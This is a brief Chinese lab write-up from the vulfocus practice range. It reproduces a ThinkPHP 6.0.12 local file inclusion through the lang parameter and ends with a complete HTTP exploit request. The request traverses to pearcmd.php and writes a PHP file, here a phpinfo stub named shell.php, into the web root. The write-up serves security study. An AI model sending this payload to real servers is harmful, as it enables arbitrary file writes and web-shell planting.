vulfocus/thinkphp:6.0.12 命令执行

本次测试是在vulfocus靶场上进行

漏洞介绍

在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。

影响范围

6.0.13版本及以前

漏洞复现

显示禁止访问资源
vulfocus/thinkphp:6.0.12 命令执行_第1张图片
靶场给出了访问路径/public/index.php
vulfocus/thinkphp:6.0.12 命令执行_第2张图片
下面直接用lang参数构造exp
exp如下:

GET /public/index.php?lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/shell.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=

你可能感兴趣的:(vulfocus靶场,thinkphp,php)